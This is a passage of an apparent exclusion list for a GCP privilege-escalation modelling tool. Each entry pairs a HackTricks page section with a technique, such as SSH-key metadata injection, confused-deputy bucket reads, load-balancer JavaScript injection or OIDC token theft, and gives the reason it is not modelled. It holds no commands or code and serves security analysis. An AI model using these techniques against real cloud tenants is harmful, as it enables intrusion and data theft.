src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-compute-privesc/gcp-add-custom-ssh-metadata.md#compute + technique: Compute intro + reason: Introduction; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-compute-privesc/gcp-add-custom-ssh-metadata.md#add-an-ssh-key-to-one-vm---computeinstancessetmetadata + technique: SSH key on one VM via compute.instances.setMetadata + reason: Covered by gcp-compute-instances-setmetadata-existing-vm (compute README source). +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-compute-privesc/gcp-add-custom-ssh-metadata.md#add-a-project-wide-ssh-key---computeprojectssetcommoninstancemetadata + technique: Project-wide SSH key via compute.projects.setCommonInstanceMetadata + reason: Covered by gcp-compute-projects-setcommoninstancemetadata (compute README source). +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-container-privesc.md#environment--command-injection-into-an-admitted-workload-binary-authorization-bypass + technique: Env/command injection into an admitted workload (Binary Authorization bypass) + reason: Same permissions and reach as gcp-container-pod-template-node-sa (Pod-template create/update); only the code-delivery method differs. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-container-privesc.md#containerclustersupdate--enable-legacy-authorization-abac + technique: container.clusters.update enables legacy ABAC + reason: Amplifies identities the attacker already controls (existing KSA tokens or legacy client certificates); it does not make the caller's Google identity privileged +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-container-privesc.md#credential-minting-is-not-authorization + technique: Credential minting helpers (gkemulticloud generateAccessToken + reason: HackTricks and Google document these as authentication only; Kubernetes authorization still applies. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-container-privesc.md#historical-gke-kubelet-tls-bootstrap-credential-path + technique: Historical GKE kubelet TLS bootstrap credentials + reason: Historical in-pod metadata exposure needing a compromised Pod and a permissive CSR approver; blocked by current metadata concealment and Shielded GKE Nodes; + no IAM permission edge. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-config-controller-privesc.md#config-controller--config-connector-kcc + technique: Config Controller / KCC intro + reason: Introduction; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-config-delivery-privesc.md#config-delivery + technique: Config Delivery intro + reason: Introduction; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-container-analysis-privesc.md#container-analysis--artifact-analysis + technique: Container Analysis intro + reason: Introduction; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-data-fusion-privesc.md#preview-source-data-as-the-design-time-service-account + technique: Pipeline Preview as the design-time identity + reason: Data read of up to the previewed rows through the Data Fusion service agent / namespace SA; no control of that identity (HackTricks). +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-database-migration-privesc.md#database-migration-service + technique: Page intro + reason: Service introduction; at 171e422 the page states no distinct DMS privilege-escalation primitive is supported. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-dataform-privesc.md#dataform + technique: Page intro + reason: Service introduction and strict act-as background; no standalone technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-dataproc-metastore-privesc.md#dataproc-metastore + technique: Page intro + reason: Service introduction; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-dataproc-privesc.md#--scopescloud-platform-at-cluster-create--oauth-scope-amplification-of-a-stolen-node-token + technique: --scopes=cloud-platform at cluster create + reason: Modifier of the cluster-create run-as path; covered by gcp-dataproc-clusters-batches-create-actas (access_scopes condition). +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-dataproc-privesc.md#--metadata-startup-script--ssh-keys-at-cluster-create--root-node-takeover-without-an-init-action + technique: Startup-script / ssh-keys metadata at cluster create + reason: Alternative code-exec channel of the cluster-create run-as path; covered by gcp-dataproc-clusters-batches-create-actas. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-dataproc-privesc.md#--container-image-on-serverless-workloads--dependencyenvironment-poisoning + technique: Serverless --container-image dependency poisoning + reason: Tag movement needs a verified consumer and later pull, so it is manual-only in the privilege map; the Artifact Registry upload path has a separate review. Direct Dataproc launch is covered by gcp-dataproc-clusters-batches-create-actas. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-datastream-privesc.md#datastream + technique: Page intro + reason: Service introduction; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-datastream-privesc.md#zero-credential-native-gcp-source-spanner--pure-iam-confused-deputy + technique: Spanner source zero-credential confused deputy + reason: Service-agent-driven data copy-out of an in-project Spanner database; data exfiltration, no new identity. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/README.md#iam-and-organization-policies + technique: Page intro pointer + reason: Pointer to the IAM enumeration page; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-access-context-manager-privesc.md#vpc-service-controls + technique: VPC-SC intro + reason: Service introduction; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-access-context-manager-privesc.md#gcpuseraccessbindings-cloud-bindings--context-removal-or-extended-workforce-sessions + technique: GcpUserAccessBinding context removal / extended sessions + reason: Removes or relaxes access-level enforcement for a group's sessions; guardrail tamper, no new IAM identity. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-analytics-hub-privesc.md#analyticshublistingssubscribe--access-a-published-dataset-or-pubsub-topic + technique: Subscribe to a listing + reason: A subscription can grant the caller bounded effective data access. Current evidence cannot join the exact listing and resulting linked dataset/topic to a prior source denial and a later allowed read; retain as a documented modeling gap. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-analytics-hub-privesc.md#analyticshubdataexchangessubscribe--subscribe-to-a-data-clean-room + technique: Subscribe to a data clean room + reason: A clean-room subscription can give the caller new bounded query access. Current evidence cannot bind the exact exchange, subscriber dataset, query restrictions, prior source denial and successful later query; retain as a documented modeling gap. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-beyondcorp-privesc.md#beyondcorp--chrome-enterprise-premium + technique: Service intro + reason: Service introduction; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-beyondcorp-privesc.md#repoint-an-application-the-caller-can-already-use-to-another-web-target-behind-its-existing-upstream + technique: Repoint an application to another upstream target + reason: Network pivot to another private web target; no IAM identity. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-bigquery-privesc.md#bigquerydatapoliciesupdate--weaken-masking-or-add-a-raw-data-grantee + technique: Data policy masking change or raw-data grantee addition + reason: Updating a masking rule changes data visibility without granting an IAM permission. Adding the caller to a RAW_DATA_ACCESS_POLICY can grant bounded raw-column access, but current evidence cannot join that policy to exact table columns and prove prior denial, accepted self-grant, and later allowed read. It must not produce an active path until that typed column-resource evidence exists; the grantee list is not an IAM getRawData binding. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-bigquery-privesc.md#bigquerydatapoliciesdelete--datacatalogtaxonomiesupdate--disable-column-level-enforcement + technique: Disable column-level enforcement + reason: Data-protection tamper; data access only. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-bigquery-privesc.md#bigqueryrowaccesspolicies--widen-or-remove-row-level-security + technique: Delete all row access policies + reason: Deleting policies removes row filters for existing table readers without granting a new permission. Creating a policy that names the caller is modeled separately by gcp-bigquery-row-policy-create-self-grant. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-bigtable-privesc.md#bigtableauthorizedviewsupdate--widen-a-view-that-you-can-already-use + technique: Widen an authorized view + reason: Data access widening; no identity. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-billing-privesc.md#why-other-billing-permissions-are-not-separate-privilege-escalation-techniques + technique: Other billing permissions + reason: Explanatory section; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-certificate-authority-service-privesc.md#certificate-authority-service + technique: Service intro + reason: Service introduction; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudbuild-privesc.md#cloud-build + technique: Page intro + reason: Service introduction; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudidentity-privesc.md#iam-principals--org-policies + technique: Page intro pointer + reason: Pointer to the IAM enumeration page; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudscheduler-privesc.md#cloudschedulerjobsrun--force-a-preconfigured-privileged-request + technique: Force-run an existing job + reason: Replays the stored request only; the source cannot choose the request, so it does not obtain the delivery identity's privileges. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudscheduler-privesc.md#cloudschedulerjobscreate-or-update--actas-free-app-engine-handler-invocation + technique: App Engine target without actAs + reason: 'Invokes same-project App Engine handlers (incl. login: admin); application-logic access, no IAM identity.' +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudscheduler-privesc.md#cloudschedulerjobscreate-or-update--publish-to-a-same-project-pubsub-topic-as-the-scheduler-service-agent + technique: Pub/Sub publish as the Scheduler service agent + reason: Message injection into same-project topics; further impact depends on subscriber logic, no identity. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-agent-identity-auth-manager-privesc.md#agent-identity-auth-manager + technique: Page intro + reason: Service introduction; the two techniques are mapped under their own headings. +- source: src/pentesting-cloud/gcp-security/gcp-to-workspace-pivoting/gcp-application-integration-privesc.md#application-integration + technique: Page intro + reason: Service introduction; the techniques are mapped under their own headings. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-deploymentmaneger-privesc.md#deployment-manager + technique: Page intro + reason: Service introduction; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-deploymentmaneger-privesc.md#cloud-deployment-manager-deploymentmanagergoogleapiscom + technique: Service availability intro + reason: Legacy-service availability note (end of support 2026-04-01, V2 API for existing customers until 2027-06-30); no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-deploymentmaneger-privesc.md#rejected-or-reclassified-ideas + technique: Rejected or reclassified ideas + reason: Read-only manifest reads, unproven type-provider SSRF and template expansion in Google's environment; no escalation. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-developer-connect-privesc.md#developer-connect + technique: Page intro + reason: Service introduction; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-discovery-engine-privesc.md#vertex-ai-search-discovery-engine + technique: Page intro + reason: Service introduction; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-discovery-engine-privesc.md#discoveryengineidentitymappingstoresimportidentitymappings--inject-an-identity-mapping-to-bypass-per-document-acls + technique: importIdentityMappings ACL bypass + reason: Mapping the source identity into a group may grant bounded per-document search access. Current evidence cannot bind the exact source user, mapping store, group, protected document, prior denial, accepted mapping and later allowed result; retain as a documented modeling gap. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-eventarc-privesc.md#eventarc + technique: Page intro + reason: Service introduction; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-firebase-app-hosting-privesc.md#firebase-app-hosting + technique: Page intro + reason: Service introduction; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-firebase-privesc.md#firebaserulesrulesetscreate--firebaserulesreleasesupdate--open-firestore-or-storage-data-through-security-rules + technique: Security Rules allow-all release + reason: Opens Firestore/Storage data to client access; data access, no new identity. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-healthcare-privesc.md#cloud-healthcare-api + technique: Page intro + reason: Service introduction; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-iap-privesc.md#iap + technique: Page intro + reason: Service introduction; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-infra-manager-privesc.md#infra-manager + technique: Page intro + reason: Service introduction; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-local-privilege-escalation-ssh-pivoting.md#compute + technique: Page intro + reason: Scenario introduction; the sub-sections are already excluded or covered by compute/iam entries. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-network-docker-escape.md#compute + technique: Page intro + reason: Scenario introduction; no cloud IAM technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-looker-privesc.md#looker + technique: Page intro + reason: Service introduction; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-looker-privesc.md#privilege-escalation-boundaries + technique: Looker privilege-escalation boundaries + reason: States that looker.instances.update is not an escalation; project setIamPolicy is the generic iam entry and the SCIM claim path is on the workload-identity-federation + page. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-lustre-privesc.md#managed-lustre + technique: Page intro + reason: Service introduction; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-lustre-privesc.md#managed-lustre-lustregoogleapiscom + technique: Managed Lustre service intro + reason: Service introduction; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-lustre-privesc.md#read-a-cloud-storage-bucket-through-the-managed-lustre-transfer-service-agent + technique: Lustre importData/exportData service-agent bucket read + reason: Confused-deputy read of Cloud Storage objects the Lustre service agent can read; data access, no token or new identity. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-lustre-privesc.md#reclassified-operations + technique: Reclassified operations + reason: Enumeration, data export/poisoning and deletion; no escalation. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-managed-kafka-privesc.md#managed-kafka + technique: Page intro + reason: Service introduction; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-managed-kafka-privesc.md#no-standalone-managed-kafka-privilege-escalation-primitive-is-retained + technique: No Managed Kafka primitive + reason: The page states no standalone Managed Kafka privilege-escalation primitive is retained (Connect secret mounts are not a read oracle). +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-misc-perms-privesc.md#iam-principals--org-policies + technique: Page intro + reason: Service introduction; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-misc-perms-privesc.md#generic-permission-patterns + technique: Generic permission patterns + reason: Triage guidance; no specific technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-misc-perms-privesc.md#serviceresourcesetiampolicy--self-grant-on-the-governed-resource + technique: Generic ..setIamPolicy + reason: This heading is a generic pattern without one exact resource policy, policy-write action, grantable role, and named newly effective permission. Concrete + per-service self-grants are modeled where typed evidence can bind all of those fields. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-misc-perms-privesc.md#iamserviceaccountsactas--a-code-executing-resource-write--run-as-an-attached-identity + technique: Generic actAs + code-executing resource write + reason: Generic pattern; each concrete service path is modelled by its service entry. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-network-connectivity-center-privesc.md#vpc--networking + technique: Page intro + reason: Service introduction; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-parallelstore-privesc.md#parallelstore + technique: Page intro + reason: Service introduction; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-parallelstore-privesc.md#read-a-cloud-storage-bucket-through-the-parallelstore-service-agent + technique: Parallelstore service-agent bucket read + reason: Confused-deputy read of Cloud Storage objects the Parallelstore service agent can read; data access, no token or new identity. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-parallelstore-privesc.md#reclassified-operations + technique: Reclassified operations + reason: Enumeration, export/import of data and deletion; no escalation. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-networksecurity-privesc.md#network-security + technique: Page intro + reason: Service introduction; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-networksecurity-privesc.md#networksecurityauthzpoliciescreate--update---grant-access-through-an-application-load-balancer-or-gateway + technique: authzPolicies create/update + reason: Grants HTTP(S) reachability through a load balancer or gateway; network access, no IAM identity. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-networksecurity-privesc.md#networksecurityauthorizationpoliciesupdate---relax-an-attached-legacy-mesh-authorization-policy + technique: Relax legacy mesh authorization policy + reason: Network/application reachability to mesh services; no IAM identity. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-networksecurity-privesc.md#networksecurityservertlspoliciesupdate---permit-plaintext-alongside-mesh-mtls + technique: serverTlsPolicies permit plaintext + reason: Removes the mTLS client-certificate requirement; network access, no IAM identity. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-networksecurity-privesc.md#networksecurityaddressgroupsupdate---add-an-attacker-source-to-a-trusted-rule + technique: addressGroups add attacker source + reason: Network allowlist reach; no IAM identity. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-networksecurity-privesc.md#networksecurityinterceptdeploymentscreate---inject-an-inspection-appliance-into-a-trusted-deployment-group + technique: interceptDeployments inspection appliance + reason: Traffic observation/interception; credentials seen in transit are opportunistic, no cloud identity is obtained by the permission. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-networkservices-privesc.md#network-services + technique: Page intro + reason: Service introduction; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-networkservices-privesc.md#networkserviceslbtrafficextensions--wasmplugins--service-extensions-data-path-traffic-interception + technique: Service Extensions traffic/WASM interception + reason: Load-balancer data-path interception of application traffic; credentials in transit are opportunistic and no cloud identity is obtained. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-networkservices-privesc.md#networkservicesauthzextensions--service-extensions-authorization-callout-hijack-auth-bypass--request-context-exfil + technique: authzExtensions callout hijack + reason: Application auth bypass and request-context exfiltration at the load balancer; no cloud identity. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-networkservices-privesc.md#networkservicesgoogletaggatewaypoliciescreate--update--first-party-javascript-injection-on-site-visitors-client-side-supply-chain + technique: googleTagGatewayPolicies JavaScript injection + reason: Client-side compromise of site visitors; not a cloud identity. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-pam-privesc.md#privileged-access-manager-pam + technique: Page intro + reason: Service introduction; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-pam-privesc.md#privileged-access-manager + technique: PAM overview + reason: Background; entitlement creation is excluded because it already requires the scope's setIamPolicy. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-private-catalog-privesc.md#private-catalog + technique: Page intro + reason: Service introduction; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-private-catalog-privesc.md#service-catalog-formerly-private-catalog + technique: Service Catalog intro + reason: Service introduction; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-pubsub-privesc.md#pubsubsubscriptionscreate--pubsubsubscriptionsupdate--iamserviceaccountsactas--obtain-oidc-tokens-as-a-service-account + technique: Authenticated push subscription OIDC token + reason: Audience-bound OIDC identity token, not an OAuth access token; excluded like iam.serviceAccounts.getOpenIdToken. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-pubsub-privesc.md#pubsubsubscriptionscreate--pubsubsubscriptionsupdate--write-through-a-more-privileged-export-identity + technique: Export subscription write through a privileged delivery identity + reason: Confused-deputy write of topic messages into a protected bucket/table; data write within a fixed schema, no token or impersonation. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-runtimeconfig-privesc.md#runtime-configurator + technique: Page intro + reason: Service introduction; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-runtimeconfig-privesc.md#cloud-runtime-configurator-runtimeconfiggoogleapiscom + technique: Runtime Configurator intro + reason: Service introduction; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-runtimeconfig-privesc.md#why-the-other-runtime-config-permissions-are-not-separate-privilege-escalations + technique: Other Runtime Config permissions + reason: The page explains variable reads/writes, waiters and config creation are not escalations. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-secretmanager-privesc.md#secret-manager + technique: Page intro + reason: Service introduction; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-secretmanager-privesc.md#escalation-through-a-recovered-secret + technique: Escalation through a recovered secret + reason: Secret read; any escalation depends on unknown payload content (a stored SA key is a separate credential, not modelled from the permission). +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-secure-source-manager-privesc.md#malicious-webhooks--event-exfiltration--authenticated-calls--persistence + technique: Malicious webhooks / service-account-authenticated delivery + reason: Event exfiltration and an audience-bound OIDC token for the repository SA; excluded like getOpenIdToken. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-secure-source-manager-privesc.md#securesourcemanagersshkeyscreateany--implant-an-ssh-key-on-a-service-accounts-git-identity-pushfetch-as-the-sa + technique: sshkeys.createAny on a service account's git identity + reason: Requires actAs on the SA and yields only its SSM repository roles (git push/fetch); the push-to-pipeline consequence is covered by gcp-securesourcemanager-push-cicd. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-security-command-center-privesc.md#security-command-center + technique: Page intro + reason: Service introduction; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-service-management-privesc.md#service-usage-and-service-management + technique: Page intro + reason: Service introduction; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-service-management-privesc.md#servicemanagementservicesdelete--full-managed-service-takedown-endpoints--api-gateway-dos + technique: servicemanagement.services.delete + reason: Denial of service. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-serviceusage-privesc.md#service-usage + technique: Page intro (Service Usage) + reason: Navigation/intro section; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-serviceusage-privesc.md#service-usage-serviceusagegoogleapiscom + technique: Service Usage overview + reason: Page states no direct Service Usage privilege-escalation primitive is retained; API enablement grants no IAM permission or new identity. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-serviceusage-privesc.md#reclassified-historical-claims + technique: Reclassified historical claims (services.enable/use/disable, quotas, consumerpolicy, MCP policies, API keys) + reason: Prerequisite-only, quota/billing consumption, DoS or deprecated surfaces; API keys do not authenticate an IAM principal. No new identity. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-sourcerepos-privesc.md#privilege-escalation-techniques + technique: Privilege Escalation Techniques (section heading) + reason: Container heading; its techniques are mapped individually. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-spanner-privesc.md#spannerbackupscopy--spannerbackupsrestoredatabase--recover-a-database-in-an-attacker-readable-instance + technique: Spanner backup copy/restore into attacker-readable instance + reason: Data exfiltration of database contents; no new identity. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-spanner-privesc.md#spannerdatabasesupdateddl--expand-a-fine-grained-database-role + technique: spanner.databases.updateDdl FGAC role expansion + reason: This can grant the caller additional SQL privileges inside one database. It remains inactive because current evidence cannot bind the exact acting principal to a usable FGAC database role, the precise database object and SQL privilege, prior denial, accepted DDL, and a later allowed operation using that role. A generic updateDdl permission alone does not prove the new grant. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-storage-privesc.md#cloud-storage + technique: Page intro (Cloud Storage) + reason: Navigation/intro section; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-storage-privesc.md#storageobjectscreate--inject-a-cloud-composer-dag + technique: storage.objects.create Composer DAG injection + reason: Covered by catalog entry gcp-composer-bucket-write (composer.yaml), which models the same environment-bucket write to the Composer environment SA. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-workflows-privesc.md#workflowsexecutionscreate--invoke-an-existing-privileged-workflow + technique: workflows.executions.create on an existing privileged workflow + reason: Only triggers the fixed steps of an existing workflow (confused deputy bounded by its logic); does not grant arbitrary use of the attached SA. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-workflows-privesc.md#workflowscallbackssend--inject-data-into-a-paused-privileged-execution + technique: workflows.callbacks.send into a paused execution + reason: Steers one paused execution's existing logic with attacker data; no arbitrary use of the attached SA. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-vm-migration-privesc.md#vm-migration + technique: Page intro (VM Migration) + reason: Navigation/intro section; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-vm-migration-privesc.md#migrate-to-virtual-machines + technique: Migrate to Virtual Machines overview + reason: Background on the host-project service agent; technique mapped separately. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-vmwareengine-gcve-privesc.md#vmware-engine-gcve + technique: Page intro (VMware Engine) + reason: Navigation/intro section; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-vmwareengine-gcve-privesc.md#vmware-engine + technique: VMware Engine authorization planes overview + reason: Background section; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-workload-identity-federation-privesc.md#workload--workforce-identity-federation + technique: Page intro (Workload & Workforce Identity Federation) + reason: Navigation/intro section; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-workload-identity-federation-privesc.md#workload-identity-federation + technique: Workload Identity Federation (section heading) + reason: Container heading; techniques mapped individually. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-workload-identity-federation-privesc.md#workforce-identity-federation + technique: Workforce Identity Federation (section heading) + reason: Container heading; technique mapped individually. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-workload-identity-federation-privesc.md#scim-provisioning-token--inject-a-workforce-identity-into-a-privileged-group + technique: SCIM provisioning token group injection + reason: Requires possession of a SCIM tenant bearer token (not an IAM permission) and only affects Gemini Enterprise / Looker authorization; not modelled as an + IAM edge. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-workload-identity-federation-privesc.md#managed-workload-identities + technique: Managed workload identities (section heading) + reason: Container heading; technique mapped individually. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-workload-identity-federation-privesc.md#workloadidentitypoolmanagedidentitiessetattestationrules--enroll-a-controlled-workload + technique: workloadIdentityPoolManagedIdentities.setAttestationRules + reason: Yields X.509/SPIFFE workload credentials trusted only by relying workloads; no Google Cloud IAM principal or OAuth access. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-iam-privesc.md#iam-principals--org-policies + technique: Page intro (IAM, Principals & Org Policies) + reason: Navigation/intro section; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-iam-privesc.md#iamserviceaccountsgetopenidtoken--impersonate-a-service-account-to-an-oidc-protected-application + technique: iam.serviceAccounts.getOpenIdToken + reason: Audience-bound OIDC ID token accepted only by applications that trust it; not an OAuth token and grants no Google Cloud API access (consistent with other + OIDC-token exclusions). +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-resourcemanager-privesc.md#iam-principals--org-policies + technique: Page intro (Resource Manager) + reason: Navigation/intro section; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-vertex-ai-privesc.md#notebooksinstancessetiampolicy-to-self-grant-updatereset-then-inject-a-startup-script + technique: notebooks.instances.setIamPolicy self-grant then startup script + reason: Covered by the setIamPolicy branch of gcp-vertex-workbench-instance-update-or-setiampolicy (anchored at the update+reset heading). +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-vertex-ai-privesc.md#excluded-from-this-privilege-escalation-page + technique: Excluded from this page (model/dataset export-import, Feature Store/Vector Search/metadata/RAG, tuningJobs, Deployment Resource Pools, Persistent Resources) + reason: Page states these grant no new identity or caller-controlled execution; data access/poisoning or prerequisites only. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-container-privesc.md#containers--gke + technique: Page intro (Containers & GKE) + reason: Navigation/intro section; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-orgpolicy-privesc.md#iam-principals--org-policies + technique: Page intro (IAM, Principals & Org Policies) + reason: Navigation/intro section; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-workspace-addons-privesc.md#google-workspace-add-ons + technique: Page intro (Google Workspace add-ons) + reason: Navigation/intro section; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-kms-privesc.md#cloudkmscryptokeyversionsupdate--targeted-external-key-route-override-per-version-ekm-interception--dos + technique: cloudkms.cryptoKeyVersions.update external-key route override + reason: Redirects one EXTERNAL/EXTERNAL_VPC key version to another EKM route; interception of cryptographic requests or targeted DoS. The page states it does not + grant Google Cloud IAM by itself; no identity edge. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-api-gateway-post-exploitation.md#apigatewayapiconfigscreate--actas--steal-an-sas-oidc-identity-token + technique: API Gateway backend-auth SA OIDC ID token theft + reason: Audience-bound OIDC ID token gated by actAs on the SA; not an OAuth access token (excluded like iam.serviceAccounts.getOpenIdToken and Pub/Sub push OIDC). +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-managed-microsoft-ad-post-exploitation.md#managedidentitiesdomainsresetpassword--obtain-the-delegated-administrator-credential + technique: Reset the Managed Microsoft AD delegated administrator password + reason: Yields an Active Directory account in the managed domain, not a GCP/Workspace principal; out of the GCP identity graph. +- source: 